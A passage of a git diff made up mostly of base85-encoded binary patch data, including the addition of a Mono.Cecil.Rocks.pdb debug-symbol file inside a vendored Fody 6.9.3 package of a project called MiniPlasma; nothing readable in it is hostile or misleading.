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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb new file mode 100644 index 0000000000000000000000000000000000000000..837910cd78468bc76b38d53d03c1599b38e97217 GIT binary patch literal 15072 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 